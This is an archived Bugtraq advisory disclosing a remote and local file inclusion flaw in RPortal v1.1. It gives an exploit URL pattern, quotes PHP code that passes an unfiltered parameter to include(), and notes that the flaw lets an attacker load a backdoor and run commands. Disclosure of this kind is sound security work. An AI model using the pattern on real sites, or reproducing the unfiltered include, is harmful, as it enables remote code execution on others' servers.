bugtraq - Remote and Local File Inclusion Vulnerability <= 1.1 Rportal

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 1 Oct 2008 13:24:23 -0600
From: kadfrox@...il.com
To: bugtraq@...urityfocus.com
Subject: Remote and Local File Inclusion Vulnerability <= 1.1 Rportal

#########################################################
#
# RPortal v1.1
#
#
# Rportal is a management system of contents simple and powerful Web,
# enabling you to create your site in a few minutes, while profiting 
# from a complete and effective administration.
#
#
# Remote and Local File Inclusion Vulnerability <= 1.1
# Found the 29th September 2008

##########################################################
# Author: Kad
# 
# mail : kadfrox [ a ] gmail [ dot ] com 
#
##########################################################
#
# script : RPortal v 1.1
# http://www.rportal.org/?op=download&fid=36
#
##########################################################

[~] Exploit :


http://www.site.com/index.php?file_op=[url]

#
# Vulnerable code source : 
#

if(!isset($file_op))$file_op='';

if($file_op!="")

{
	$op_basepath = trim(strrev(strstr(strrev($file_op),"/php/")));

	if($op_basepath!='') $op_basepath = str_replace("/php/", "/", $op_basepath);

	include($file_op); 

}

# The problem is that the variable $file_op is not filtered
# Then, you can put the link that you want, like your own backdoor
# and execute commands.